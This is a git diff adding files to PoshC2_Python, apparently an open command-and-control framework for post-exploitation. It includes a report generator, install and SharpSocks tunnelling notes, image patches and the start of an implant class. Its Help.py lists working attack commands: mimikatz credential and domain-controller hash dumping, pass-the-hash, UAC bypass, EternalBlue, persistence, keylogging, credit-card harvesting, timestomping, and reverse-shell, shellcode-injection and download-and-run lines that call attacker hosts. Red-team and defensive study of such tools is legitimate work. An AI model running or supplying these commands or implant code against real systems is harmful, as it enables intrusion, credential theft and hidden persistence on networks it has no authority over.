z$g7wzfHNjeZYOPS@l%nG^{K!2{b}pviC=%jZcq=xDV;RAkx=^+wlOo_tB8rLNGN2b zw!-od5;Wg9_vDkHlEEDXfoO5@g$0kaV&b%cb9skqx3=l1g*GOw#i??diP&j)CCLNt z99Mx!azjY&vA7*vH3E9&!jP(fR{}0Zn1d5TW}i!AaRHG!UalACW11-}gbG=cfbeKq z0!VYjRbcW%?$kXZu@bb*CxzQqkzv+wSOU6Ux`IQ^wS_?4nt2kR-pcDBUm zgXDy4Y%ks6ZwsnK?}6Cxo \"%s \\n %s\\n\\n\\n\\n \"; \n" % (ServerTAG,hostname,i[3]) + + for i in implants: + if "Daisy" in i[15]: + hostname = i[11].replace("\\","\\\\") + if "\"%s\\n\\n\\n\\n \" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (i[9].replace('\x00','').replace("\\","\\\\").replace('@',' \\n '),hostname,i[3]) not in daisyhosts: + daisyhosts += "\"%s\\n\\n\\n\\n \" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (i[9].replace('\x00','').replace("\\","\\\\").replace('@',' \\n '),hostname,i[3]) + + GV = GV.replace("DAISYHOSTS",daisyhosts) + GV = GV.replace("IMPLANTHOSTS",hosts) + output_file = open("%sPoshC2_Python.dot" % ReportsDirectory, 'w') + output_file.write("%s" % GV.encode('utf-8')) + output_file.close() + subprocess.check_output("dot -T png -o %sPoshC2_Python.png %sPoshC2_Python.dot" % (ReportsDirectory,ReportsDirectory), shell=True) + print "" + print "GraphViz Generated PoshC2_Python.png" + time.sleep(1) + + +def get_implants_all_db(): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM Implants") + result = c.fetchall() + if result: + return result + else: + return None + +def get_htmlimplant( randomuri ): + conn = sqlite3.connect(DB) + conn.row_factory = sqlite3.Row + c = conn.cursor() + c.execute("SELECT * FROM Implants WHERE RandomURI=?",(randomuri,)) + result = c.fetchone() + if result: + return result + else: + return None + +def generate_table(table): + HTMLPre = """ + + + +
+__________            .__.     _________  ________  
+\_______  \____  _____|  |__   \_   ___ \ \_____  \ 
+|     ___/  _ \/  ___/  |  \  /    \  \/  /  ____/ 
+|    |  (  <_> )___ \|   Y  \ \     \____/       \ 
+|____|   \____/____  >___|  /  \______  /\_______  
+                  \/     \/          \/         \/
+=============== v4.0 www.PoshC2.co.uk =============
+
+""" + + if table == "CompletedTasks": + HTMLPre += """ + + +""" + + conn = sqlite3.connect(DB) + pd.set_option('display.max_colwidth', -1) + pd.options.mode.chained_assignment = None + frame = pd.read_sql_query("SELECT * FROM %s" % table, conn) + if table == "CompletedTasks": + framelen = frame['RandomURI'].count() + for x in range(0, framelen): + try: + frame['RandomURI'][x] + a = get_htmlimplant(str(frame['RandomURI'][x])) + frame['RandomURI'][x] = a[3], a[11] + except Exception as e: + print e + a = "None" + + reportname = "%s%s.html" % (ReportsDirectory,table) + output_file = open(reportname, 'w') + HTMLPost = (frame.to_html(classes='table',index=False,escape=False)).replace("\\r\\n","
") + HTMLPost = HTMLPost.replace("\\n","
") + HTMLPost = re.sub(u'\x00', '', HTMLPost) + HTMLPost = HTMLPost.replace(" "," ") + HTMLPost = HTMLPost.replace("","") + HTMLPost = HTMLPost.replace("","
") + HTMLPost = HTMLPost.replace("","") + HTMLPost = HTMLPost.replace("","") + HTMLPost = HTMLPost.replace("","") + HTMLPost = HTMLPost.replace("","") + HTMLPost = HTMLPost.replace("","") + HTMLPost = HTMLPost.replace("","") + HTMLPost = HTMLPost.replace("","") + + HTMLPost = HTMLPost + """ +""" + output_file.write("%s%s" % (HTMLPre.encode('utf-8'),HTMLPost.encode('utf-8'))) + output_file.close() + print reportname diff --git a/Help.py b/Help.py new file mode 100644 index 0000000..4135a3c --- /dev/null +++ b/Help.py @@ -0,0 +1,306 @@ +#!/usr/bin/python + +posh_help1 = """ +Implant Features: +===================== +ps +searchhelp mimikatz +beacon 60s / beacon 10m / beacon 2h +turtle 60s / turtle 30m / turtle 8h +kill-implant +hide-implant +unhide-implant +invoke-enum +get-proxy +get-computerinfo +unzip +get-system +get-system-withproxy +get-system-withdaisy +get-implantworkingdirectory +get-pid +posh-delete c:\\temp\\svc.exe +get-webpage http://intranet +listmodules +modulesloaded +loadmodule +loadmodule inveigh.ps1 +loadmoduleforce inveigh.ps1 +get-userinfo +invoke-hostenum -all +find-allvulns +invoke-expression (get-webclient).downloadstring("https://module.ps1") +startanotherimplant or sai +invoke-daisychain -daisyserver http://192.168.1.1 -port 80 -c2port 80 -c2server http://c2.goog.com -domfront aaa.clou.com -proxyurl http://10.0.0.1:8080 -proxyuser dom\\test -proxypassword pass -localhost (optional if low level user) +createproxypayload -user -pass -proxyurl +get-mshotfixes +get-firewallrulesall | out-string -width 200 +enablerdp +disablerdp +netsh.exe advfirewall firewall add rule name="enablerdp" dir=in action=allow protocol=tcp localport=any enable=yes +get-wlanpass +get-wmiobject -class win32_product +get-creditcarddata -path 'c:\\backup\\' +timestomp c:\\windows\\system32\\service.exe "01/03/2008 12:12 pm" +icacls c:\\windows\\system32\\resetpassword.exe /grant administrator:f +get-allfirewallrules c:\\temp\\rules.csv +get-allservices +get-wmireglastloggedon +get-wmiregcachedrdpconnection +get-wmiregmounteddrive +resolve-ipaddress +unhook-amsi +get-process -id $pid -module |%{ if ($_.modulename -eq "amsi.dll") {echo "`nAMSI Loaded`n"} } +""" + + +posh_help2 = """ +Privilege Escalation: +==================== +invoke-allchecks +Invoke-PsUACme -Payload "c:\\temp\\uac.exe" -method sysprep +get-mshotfixes | where-object {$_.hotfixid -eq "kb2852386"} +invoke-ms16-032 +invoke-ms16-032-proxypayload +invoke-eternalblue -target 127.0.0.1 -initialgrooms 5 -maxattempts 1 -msfbind +get-gpppassword +get-content 'c:\\programdata\\mcafee\\common framework\\sitelist.xml' +dir -recurse | select-string -pattern 'password='""" + +posh_help3 = """ +File Management: +==================== +download-file -source 'c:\\temp dir\\run.exe' +download-files -directory 'c:\\temp dir\\' +upload-file -source 'c:\\temp\\run.exe' -destination 'c:\\temp\\test.exe' +web-upload-file -from 'http://www.example.com/app.exe' -to 'c:\\temp\\app.exe' + +Persistence: +================ +install-persistence 1,2,3 +remove-persistence 1,2,3 +installexe-persistence +removeexe-persistence +install-servicelevel-persistence | remove-servicelevel-persistence +install-servicelevel-persistencewithproxy | remove-servicelevel-persistence + +Network Tasks / Lateral Movement: +================== +get-externalip +test-adcredential -domain test -user ben -password password1 +invoke-smblogin -target 192.168.100.20 -domain testdomain -username test -hash/-password +invoke-smbexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add" +invoke-wmiexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add" +net view | net users | net localgroup administrators | net accounts /dom +whoami /groups | whoami /priv""" + +posh_help4 = """ +Active Directory Enumeration: +================== +invoke-aclscanner +get-objectacl -resolveguids -samaccountname john +add-objectacl -targetsamaccountname arobbins -principalsamaccountname harmj0y -rights resetpassword +get-netuser -admincount | select samaccountname +get-domainuser -uacfilter not_password_expired,not_accountdisable -properties samaccountname,pwdlastset | export-csv act.csv +get-netgroup -admincount | select samaccountname +get-netgroupmember "domain admins" -recurse|select membername +get-netcomputer | select-string -pattern "citrix" +get-netcomputer -filter operatingsystem=*7*|select name +get-netcomputer -filter operatingsystem=*2008*|select name +get-domaincomputer -ldapfilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -spn "wsman*" -properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl +get-netgroup | select-string -pattern "internet" +get-netuser -filter | select-object samaccountname,userprincipalname +get-netuser -filter samaccountname=test +get-netuser -filter userprinciplename=test@test.com +get-netgroup | select samaccountname +get-netgroup "*ben*" | select samaccountname +get-netgroupmember "domain admins" -recurse|select membername +get-netshare hostname +invoke-sharefinder -verbose -checkshareaccess +new-psdrive -name "p" -psprovider "filesystem" -root "\\\\bloredc1\\netlogon" + +Domain Trusts: +================== +get-netdomain | get-netdomaincontroller | get-netforestdomain +get-netforest | get-netforesttrust +invoke-mapdomaintrust +get-netuser -domain child.parent.com -filter samaccountname=test +get-netgroup -domain child.parent.com | select samaccountname""" + +posh_help5 = """ +Domain / Network Tasks: +================== +invoke-bloodhound -collectionmethod 'stealth' -csvfolder c:\\temp\\ +get-netdomaincontroller | select name | get-netsession | select *username,*cname +get-dfsshare | get-netsession | select *username,*cname +get-netfileserver | get-netsession | select *username,*cname +invoke-kerberoast -outputformat hashcat|select-object -expandproperty hash +write-scffile -ipaddress 127.0.0.1 -location \\\\localhost\\c$\\temp\\ +write-inifile -ipaddress 127.0.0.1 -location \\\\localhost\\c$\\temp\\ +get-netgroup | select-string -pattern "internet" +invoke-hostscan -iprangecidr 172.16.0.0/24 (provides list of hosts with 445 open) +get-netfileserver -domain testdomain.com +find-interestingfile -path \\\\server\\share -officedocs -lastaccesstime (get-date).adddays(-7) +brute-ad +brute-locadmin -username administrator +get-passpol +get-passnotexp +get-locadm +invoke-inveigh -http y -proxy y -nbns y -tool 1 +get-inveigh | stop-inveigh (gets output from inveigh thread) +invoke-sniffer -outputfile c:\\temp\\output.txt -maxsize 50mb -localip 10.10.10.10 +invoke-sqlquery -sqlserver 10.0.0.1 -user sa -pass sa -query 'select @@version' +invoke-runas -user -password '' -domain -command c:\\windows\\system32\\cmd.exe -args " /c calc.exe" +invoke-pipekat -target -domain -username -password '' -hash +invoke-wmiexec -target -domain -username -password '' -hash -command """ + +posh_help6 = """ +Lateral Movement: +========================================================= +invoke-runaspayload -user -password '' -domain +invoke-runasproxypayload -user -password '' -domain +invoke-runasdaisypayload -user -password '' -domain +invoke-dcompayload -target +invoke-dcomproxypayload -target +invoke-dcomdaisypayload -target +invoke-psexecpayload -target -domain -user -pass '' -hash +invoke-psexecproxypayload -target -domain -user -pass '' -hash +invoke-psexecdaisypayload -target -domain -user -pass '' -hash +invoke-wmipayload -target -domain -username -password '' -hash +invoke-wmiproxypayload -target -domain -user -pass '' -hash +invoke-wmidaisypayload -target -domain -user -pass '' +invoke-winrmsession -ipaddress -user -pass """ +posh_help7 = """ +Credentials / Tokens / Local Hashes (Must be SYSTEM): +========================================================= +invoke-mimikatz | out-string | parse-mimikatz +invoke-mimikatz -command '"sekurlsa::logonpasswords"' +invoke-mimikatz -command '"lsadump::sam"' +invoke-mimikatz -command '"lsadump::lsa"' +invoke-mimikatz -command '"lsadump::cache"' +invoke-mimikatz -command '"lsadump::secrets"' +invoke-mimikatz -command '"ts::multirdp"' +invoke-mimikatz -command '"privilege::debug"' +invoke-mimikatz -command '"crypto::capi"' +invoke-mimikatz -command '"crypto::certificates /export"' +invoke-mimikatz -command '"sekurlsa::pth /user: /domain: /ntlm: /run:c:\\temp\\run.bat"' +invoke-mimikatz -computer 10.0.0.1 -command '"sekurlsa::pth /user: /domain: /ntlm: /run:c:\\temp\\run.bat"' +invoke-tokenmanipulation | select-object domain, username, processid, iselevated, tokentype | ft -autosize | out-string +invoke-tokenmanipulation -impersonateuser -username "domain\\user" + +Credentials / Domain Controller Hashes: +============================================ +invoke-mimikatz -command '"lsadump::dcsync /domain:domain.local /user:administrator"' +invoke-dcsync -pwdumpformat +dump-ntds -emptyfolder """ +posh_help8 = """ +Useful Modules: +==================== +get-screenshot +get-screenshotallwindows +get-screenshotmulti -timedelay 120 -quantity 30 +get-recentfiles +cred-popper +get-clipboard +hashdump +get-keystrokes +arpscan -ipcidr 10.0.0.1/24 +portscan -ipaddress 10.0.0.1-50 -ports "1-65535" -maxqueriesps 10000 -delay 0 +((new-object Net.Sockets.TcpClient).connect("10.0.0.1",445)) +migrate +migrate -procid 4444 +migrate -procpath c:\\windows\\system32\\searchprotocolhost.exe -suspended -RtlCreateUserThread +migrate -procpath c:\\windows\\system32\\svchost.exe -suspended +inject-shellcode -x86 -shellcode (gc c:\\temp\\shellcode.bin -encoding byte) -procid 5634 +invoke-shellcode -payload windows/meterpreter/reverse_https -lhost 172.16.0.100 -lport 443 -force +get-eventlog -newest 10000 -instanceid 4624 -logname security | select message -expandproperty message | select-string -pattern "user1|user2|user3" +send-mailmessage -to "itdept@test.com" -from "user01 " -subject <> -smtpserver <> -attachment <> +sharpsocks -uri http://www.c2.com:9090 -beacon 2000 -insecure +netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow program="C:\windows\system32\svchost.exe" protocol=TCP localport=80 profile=Domain +$socket = new-object System.Net.Sockets.TcpListener('0.0.0.0', 1080);$socket.start(); +reversedns 10.0.0.1 +powercat -c 172.0.0.1 -p 8080 -d + +Implant Handler: +===================== +searchhelp +back +quit +exit +""" + + +pre_help = """ + +Main Menu: +================================ +use implant by , e.g. 1 +use multiple implants by ,,, e.g. 1,2,5 +use implant by range, e.g. 40-45 +use all implants by all + +Auto-Runs: +===================== +add-autorun +list-autorun (alias: l) +del-autorun +nuke-autorun +automigrate-frompowershell (alias: am) + +Server Commands: +===================== +tasks +opsec +cleartasks +show-serverinfo +history +output-to-html +set-clockworksmsapikey df2 +set-clockworksmsnumber 44789 +set-defaultbeacon 60 +turnoff-sms +listmodules +pwnself (alias: p) +creds -action -username -password/-hash +createnewpayload +createproxypayload +createdaisypayload +quit +""" + +posh_help = posh_help1 + posh_help2 + posh_help3 + posh_help4 + posh_help5 + posh_help6 + posh_help7 + posh_help8 + + +# pre help commands +PRECOMMANDS = ['add-autorun' ,'list-autorun','del-autorun', 'nuke-autorun','automigrate-frompowershell', +'show-serverinfo','history','output-to-html','set-clockworksmsapikey','set-clockworksmsnumber','set-defaultbeacon', +'listmodules','pwnself','creds','createnewpayload','createproxypayload','listmodules', +'createdaisypayload','turnoff-sms','tasks','cleartasks',"opsec"] + +# post help commands +COMMANDS = ['loadmodule',"bloodhound","brute-ad","brute-locadmin", +"bypass-uac","cve-2016-9192","convertto-shellcode","decrypt-rdcman","dump-ntds","get-computerinfo","get-creditcarddata","get-gppautologon", +"get-gpppassword","get-idletime","get-keystrokes","get-locadm","get-mshotfixes","get-netstat","get-passnotexp","get-passpol","get-recentfiles", +"get-serviceperms","get-userinfo","get-wlanpass","invoke-hostenum","inject-shellcode","inveigh-relay","inveigh","invoke-arpscan","arpscan", +"invoke-dcsync","invoke-eventvwrbypass","invoke-hostscan","invoke-ms16-032-proxy","invoke-ms16-032","invoke-mimikatz","invoke-psinject", +"invoke-pipekat","invoke-portscan","invoke-powerdump","invoke-psexec","invoke-reflectivepeinjection","invoke-reversednslookup", +"invoke-runas","invoke-smbexec","invoke-shellcode","invoke-sniffer","invoke-sqlquery","invoke-tater","invoke-thehash", +"invoke-tokenmanipulation","invoke-wmichecker","invoke-wmicommand","invoke-wmiexec","invoke-wscriptbypassuac","invoke-winrmsession", +"out-minidump","portscan","invoke-allchecks","set-lhstokenprivilege","sharpsocks","find-allvulns","test-adcredential","new-zipfile", +"get-netuser","sleep","beacon","setbeacon","get-screenshot", "install-persistence","hide-implant","unhide-implant","kill-implant","invoke-runasdaisypayload", +"invoke-runasproxypayload", "invoke-runaspayload","migrate","$psversiontable","back", "clear","invoke-daisychain","stop-daisy", +"ipconfig","upload-file","download-file","download-files","history","get-help","stopsocks","get-screenshotallwindows", +"hashdump","cred-popper","help","whoami","createnewpayload","createproxypayload","createdaisypayload", +"get-proxy","restart-computer","turtle","posh-delete","get-idletime","get-psdrive", +"get-netcomputer","get-netdomain","get-netforest","get-netforesttrust","get-forestdomain", +"test-connection","get-netdomaincontroller","invoke-pbind","pbind-command", +"invoke-kerberoast","invoke-userhunter","get-process","start-process", +"searchhelp","get-netshare","pbind-kill","install-servicelevel-persistencewithproxy", +"install-servicelevel-persistence","remove-servicelevel-persistence","reversedns", +"invoke-eternalblue","loadmoduleforce","unhook-amsi","get-implantworkingdirectory","get-system", +"get-system-withproxy","get-system-withdaisy","get-pid","listmodules","modulesloaded", +"startanotherimplant","remove-persistence","removeexe-persistence","installexe-persistence"] + +COMMANDS += ['invoke-psexecpayload','invoke-wmipayload', 'invoke-dcompayload'] +COMMANDS += ['invoke-psexecproxypayload','invoke-wmiproxypayload', 'invoke-dcomproxypayload'] +COMMANDS += ['invoke-psexecdaisypayload','invoke-wmidaisypayload', 'invoke-dcomdaisypayload'] diff --git a/INSTALL.txt b/INSTALL.txt new file mode 100644 index 0000000..07187af --- /dev/null +++ b/INSTALL.txt @@ -0,0 +1,19 @@ +# INSTALL PoshC2_Python on Linux +======================================================================= +curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash + +# RUNNING PoshC2_Python +cd /opt/PoshC2_Python/ +vim Config.py # Edit any config details + +In one terminal: +screen -S C2Server +sudo python /opt/PoshC2_Python/C2Server.py + +In another terminal open Implant Handler: +sudo python /opt/PoshC2_Python/ImplantHandler.py + +# Optional for mutli user +sudo python /opt/PoshC2_Python/C2Viewer.py + +# RUNNING as SystemCTL Service, see poshc2.service file for more information \ No newline at end of file diff --git a/INSTALL_Socks.txt b/INSTALL_Socks.txt new file mode 100644 index 0000000..44fd6b8 --- /dev/null +++ b/INSTALL_Socks.txt @@ -0,0 +1,39 @@ +# INSTALL SharpSocks under Wine +ssh -X # allow x forwarding for wine install + +mkdir ~/SharpSocks +cd ~/SharpSocks +sudo dpkg --add-architecture i386 +sudo apt-get update +apt-get install wget software-properties-common python-software-properties cabextract -yy +wget -nc https://repos.wine-staging.com/wine/Release.key +sudo apt-key add Release.key +rm Release.key +sudo apt-add-repository 'https://dl.winehq.org/wine-builds/ubuntu/' +sudo apt-get update +sudo apt-get install --install-recommends winehq-stable -yy +sudo apt-get install mono-complete mono-reference-assemblies-2.0 mono-reference-assemblies-3.5 mono-reference-assemblies-4.0 proxychains -yy +export WINEDEBUG=-all +winecfg +# Wine will ask you to install a Wine Mono package +# Wine will ask you to install a Gecko package +# Wine will open config editor, click ok +wget -O NDesk.Options.dll "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/NDesk.Options.dll?raw=true" +wget -O SharpSocksServer.dll "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/SharpSocksServer.dll?raw=true" +wget -O SharpSocksServerTestApp.exe "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/SharpSocksServerTestApp.exe?raw=true" +wget -O SharpSocksServerTestApp.exe.config "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/SharpSocksServerTestApp.exe.config?raw=true" +wget -O TunnelingSocksServer.dll "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/TunnelingSocksServer.dll?raw=true" + +If there is no folder here: /root/.wine/drive_c/windows/Microsoft.NET/ +Try this + +wget http://dl.winehq.org/wine/wine-mono/4.7.1/wine-mono-4.7.1.msi +wine uninstaller +# then point to the msi file and see if the folder is installed. + +# RUNNING SharpSocks under Wine +cd ~/SharpSocks +WINEDEBUG=-all wine SharpSocksServerTestApp.exe -c TUgugRaZZxvbeSrgCyTEzQvlV -k Gnx4iyV9bVPIO9ugLfZExlAJyG07Gmmu1PcmiFKEzpk= -l http://`hostname -I` + +# IMPLANT SIDE +Sharpsocks -Client -Uri http:/// -Channel TUgugRaZZxvbeSrgCyTEzQvlV -Key Gnx4iyV9bVPIO9ugLfZExlAJyG07Gmmu1PcmiFKEzpk= -URLs "GoPro5/black/2018/","Philips/v902/" -Insecure -Beacon 2000 diff --git a/INSTALL_Windows.txt b/INSTALL_Windows.txt new file mode 100644 index 0000000..aa37ff6 --- /dev/null +++ b/INSTALL_Windows.txt @@ -0,0 +1,21 @@ +# INSTALL PoshC2_Python on Windows +======================================================================= +Install Python2.7 Windows https://www.python.org/download/releases/2.7/ +Add C:\Python27\;C:\Python27\Scripts\ to $PATH Env + +easy_install install pip +easy_install -U pip + +# Must install Microsoft Visual C++ 9.0 for pycrypto - https://www.microsoft.com/en-gb/download/details.aspx?id=44266 + +pip install pycrypto +pip install pyreadline +pip install pyopenssl +pip install pandas +pip install pyttsx3 + +espeak install: +http://sourceforge.net/projects/espeak/files/espeak/espeak-1.48/setup_espeak-1.48.04.exe + +Install TDM MinGW # might need to optimise the GCC location in payloads.py +https://sourceforge.net/projects/tdm-gcc/ diff --git a/Images/cat.png b/Images/cat.png new file mode 100755 index 0000000000000000000000000000000000000000..ef72b7e4ac30e92a79da1bc312cf0c53a3584e7d GIT binary patch literal 1168 zcmbu7|7+D%7{}lH7VgfiU1~7WMl2#ILwBA?qq1$> z>-oI9sdGbh;=Tlc>W=nQm#h!O@3J!arcRAr0?M#yW4f&bV0j9T3z`cQMPOfG@7X){ zngc~1>o5X)qO-JdqN^d7Z3-s-Z^Kjc9!f>#Q99HS~j%PWHl_YRo;YxgDfv-kfHHoGD=vx?jprExWGZ4R5Cn9QEUXoF zacPVrLNPFmiIv23(PfNE8Y?B8L>k3n6p!=3954msfKgx&NXuUeGy=79_kSGc^ZEJt z`RVEDTrM{{I-1F3dU|?NsZ?WQV=|c(?QrPJA7m*R=<4i7^PjWgwq$)rswF*iZPy29 zcZ{rAzW?~jy4F<_uiVIve{<`{?#xfu|Gu8Bn}2O=$HLr=n%%Xn`xk!amw9kax_A5e zs~_%;3W?cN_phh(JG)DJxBv5e>*|Z&m2>}{d&U~tvPx!~lQANs51%B6*+FqQ1T-Mg#ez;mY#4*&dB^6&<{J=x4vZlI>}#3S3@dFFk3 z>Dc1aAEn1rZ*zq@(pld7#W*>L|K!-*}|vc0*J``)NI zof<0LHZ!>5`@YAPHO=kac;Irjc5nOFM^gO*0cI({hiQ)3aPc!vPh5V|D+`5iuKfiGBQM6|c-+MEMiPc?uI@@o5 iyKiOP){^P715w%LUq%{^%}}#oMMqm_>P&0@p8o*wQ~^`~ literal 0 HcmV?d00001 diff --git a/Images/d.png b/Images/d.png new file mode 100755 index 0000000000000000000000000000000000000000..004d36e1dafeb3641396111a0393c5f36f526b13 GIT binary patch literal 378 zcmV-=0fqjFP)Cd? z|Nkp4E$Qj${QUgAy}huou)4as%gf8s($eqm@7C7VG&eSwn3#EbdM+_AW@u+RJUfJh zgrlRQi;Ih$o}EENLws zlG_r4APht!2rA+Q6|1)N|39-pz=7(xFVUQlT|=M<5-sBZoV6l$01IVsiqQm>HDs#G zh{_87RF#OX1erzkmDn>KqIU#FN6V`u6tryu7^X+{L7TQ|;f%@9*#6;NZ#0$>ZbW<=4I7(6pImD*5;I*vF-)hFi_9 zh4A9aqjWpAm~G9xlMxOR)5D#@tAg3t*^*rz+smxcznb*u*R79d*UP)0cSMj`8Opbi z!KHcR*TcNHv!|YswWyiCqkWlZFK%#kkdl_3myOuNr>%odwwai&n0sMiW!S{1)WopU z&&lT0vALgpsEuu{o{GJiZZIw~R8mwYB`983PPwn6Yhzb~gNBl4HORN19~&IPpL2X$ zH8m+8fmS3?Hye6oO00{7K`}AOwY8skXdMj=wvJq?eMP*VjOgTwSO5S5CrLy>R5*>T zlk0n$Fc`%_3>QskLXbuiicam&cH-1p#jZECySNMX|Nmq5LVeVB`?P20i#(j4C&_t( zru|2qOs>sB(d6W-_`Op@Y!ZVXx=3!*ZiB>I2^YwrF7laM+ksXIzR{uDHs>;cAH(86zRN^vK3YA zVipDvZ3R^k^x@+2^5Q*)J$GcERrK9B4JT$M1pqHb4-cc8siIVv?5?`MGDf4!V5e$& z`)PEuxSvuX>a((A9Bz!^%zFY(OIN3-ivgu!P>ZWaJ`m7GC@7sO1^*9&Ai8?xYo#j| z1VJc7k_Z7$f;pwvKsD;X`=Gb=i{DzLzq$DKxmkn0yfpP_yB@J!1;-JU`7Hlx@(*Md v?<+VW^hTw;Q>F2zpP$6mce0JY*#E5Gur5TKcts8N00000NkvXXu0mjf{a~-3 literal 0 HcmV?d00001 diff --git a/Images/fb.jpg b/Images/fb.jpg new file mode 100755 index 0000000000000000000000000000000000000000..bac069b8feb7b5b6d0a9f76e9eec6101c126e75e GIT binary patch literal 594 zcmex=LS=+rn zUez1|w6&oOT_CNk3qq#m=DNB-mbR|8wzjD`Pyi%uZvOuOgCGZkG=n5FqY?v?AS1IN zPyj0{Z3CNVHDvoJET0%c?bfifu8FfuVP3kn%JCjP(0zyp+G5@Z%+ zuxE%gT&utK$+{WaIlQDweH%B~1@}B(S}DBt=`^RHpryhMLJh?~76NB5exWetFi{B}4@q7GG`tO_{SKZg@W;HO% zJrwyVBx-iLYwqNO$Moe?a_00KT+(-aYjNl4sZK7rHEvFIOa3!tK0U+Z`ucU#O+N!+d@noR6WmE{BZER|2*{c($uH} mF3~Y%-!5)jYt!Tvle=Lm-=ZzQ=I`aYZFPRqiJ6=K-vj`U1i7&Q literal 0 HcmV?d00001 diff --git a/Images/fg.png b/Images/fg.png new file mode 100755 index 0000000000000000000000000000000000000000..bd00f0152eea09c73b49d3322499f5f28913b37d GIT binary patch literal 570 zcmV-A0>%A_P) zi?xC<42IhgoJB{_5pV?W2r>e$;0QW`jv%YJ0=Iu{dfJfEmPgJ(q(JlKPai?6dK>W5 zb)CI-8GFOp$OXSP0aaNDnMc93oU91c=^1v>bvPVEVovfsu19fVeRc10ZrK zvJ!}tg}I*uK)&5{5iKQU&U7LTBY;%&OI0WaP%QV{Fd(^%CB_#f$@!)L1i{o57oyDo zB1b~>wqdI=Pz*3N3ur;&E8VI9?kuJO(y!sX1R#P~Gx8b$3$bR@a{&BK2%8$5q*Un) zk+xzHV8VvcCi8bt`rc=kYiS!^3{ay2o_DpxG5{JI+#z;8Y|D?wBMFf5RSIB3|Cri8v_b$kR4V!V^aQ707E#kL#I%rbbmOX z&uYKl`)8@5PSu2>bBYw5*y(2mf84h|J8*?Ck7eVPu?~o@{M!LPJKPqNLp1 z-MG2BeSUy=d3;GqONt2Y8WoBt{a&@VxtB;S74ARyH0003ZNklZ&R(*(3?NRMuKiHdx!@A^fxagQ$rc%N zI^vu`omni1VkYM55v$E-XMMX+pbK1FDvWYmx{pN(j%v2j+p(Wo@n(gl*41*$(oe;@ zV${Ob8p}n@c9X(0Do_&h^Hxyc4q*^jl>Wd&bwzt{my#Hf2>MJr50E=c+^BQQeV`58 zFy~09&5$XYApB^PjG@2}!E}Id<%~8!r;ur^tJ6 zhDNq8zsFTft%JlPRpgM%uLVI1Qb(@x0Lg=ZNkqgFmWjw1mOl6skv4c@iHHs!avEYD z@-|(>5xGuE35ZKdF7+iLF7>$tn}YZRJEw7CG?_O8wONHAjnBm*GYSW=o&?3>N=dp> x_^y=K3q>4VX%((CBuh z007iUL_t(Ijm=U?62l-2!+_12<^QiOHfadUOsA(-hnPXKybz`S3Kk%63;=e;I{;C5 zj&5yGK%_aWEKU&^BjH>K{8MlYWb{U%cq8&xqcY{HOSaNwkReKs+>yTpl3P5ED0WB5 z7oS@IQ{#1{UXaQG?UpT;L+S$Y#f z@~u=e0N9uO)&v_)Gguwxvckf`prE7-3=IGK@MdOa*Voq;78X@iRr2!ko}QjxUtiz09uHFY>;A(~RYJY_FJkO~P&V>q5FAInf2M0-XM~Wus z$20L@Y-pZqZ#eXg$$r5EeCGxRvWbifJ{{{w`!Jb%;GT2|MTjt_m!II9L!wB*fsk%5 z`te5y9YjVA(?z@QS+;E(shm>siENQq69E;7x_`QE?1)a&(hZHTlwM?o-G%^;%)J+^ zg(#lXpmC2R34>vSqaZiqq#SD4!^zG2gk88}nWmpGxkwpu9TeQ0{l9vH!nk)9bVM*>7C;<+mile0i_@%07*qoM6N<$ Ef*=)Cb^rhX literal 0 HcmV?d00001 diff --git a/Images/we.gif b/Images/we.gif new file mode 100755 index 0000000000000000000000000000000000000000..25dee10080e447f0dd04a540c5d7e4503a8bccaa GIT binary patch literal 1233 zcmd6mi&N5f0KmV%PXmU|7d{XKeBk?)sGzNWnvcxOYPg^aaqeb`#x+KjvPZReD7E05~YKGme!7JNq=QNi_7RQgMP8roQo1g!V z>PKf*=D3P@-I|^%2~y7vKsEHl?i06P-6c2rF0C6lii3XFqx`SO7}qf~`}huWPI_++ zxN5bxBdKKg3Z*F^`L9gPJou>`HlR zc<$XAd8Fq@6R{f+ae21*LNtnS6>*{`h-YhriP-h^%AB+Ov#KYJB!qRQuO$5Dm-ss8 z;PwN5>xSR1>A@vHkpzmzTJr`<^&3l24a2g@`=t8k`PGH{3j>x7J{KO9pVkz9t;}57 zG#u_e);~9xi=pVKE8GyIdL%CTtlHgE9E=@(#rqgge1_rB?yTAoe5 zlR32bR5IRvT3z7X8kOPYz^J>+FtbS$c{QEP)(yr1Ivc0kM?Ani9Nyp2Ct7M zA723YZGgd3IVk4h1v1_vCByiFHO7p&TRp*J_SiV)<1^wBWr-!t-nNuy4m@aBQ(IVB zq2vQUGM*3g4ET$(f5SBVg~ma^3p|vb26^8Fk^jH zRQQXK9OlP{i!HEpwpM}%eqlF24YPs>Q&J&;2Wo_f0DK1WdCZ5Da<5d7I~ft40f?rK zc>d#9ghjwr=JF!?e|6rKPJ-eW(+cBkslwE;ZCOBsfV`&01(7QI>mWb8y1&bU9($_#}5 E3tN2iQ~&?~ literal 0 HcmV?d00001 diff --git a/Implant.py b/Implant.py new file mode 100644 index 0000000..e087f21 --- /dev/null +++ b/Implant.py @@ -0,0 +1,472 @@ +#!/usr/bin/env python + +from DB import * +from Colours import * +from Core import * +from AutoLoads import * +from ImplantHandler import * +import urllib2 + +class Implant(object): + + def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid, proxy): + self.RandomURI = randomuri() + self.User = user + self.Hostname = hostname + self.IPAddress = ipaddress + self.Key = gen_key() + self.FirstSeen = (datetime.datetime.now()).strftime("%m/%d/%Y %H:%M:%S") + self.LastSeen = (datetime.datetime.now()).strftime("%m/%d/%Y %H:%M:%S") + self.PID = pid + self.Proxy = proxy + self.Arch = arch + self.Domain = domain + 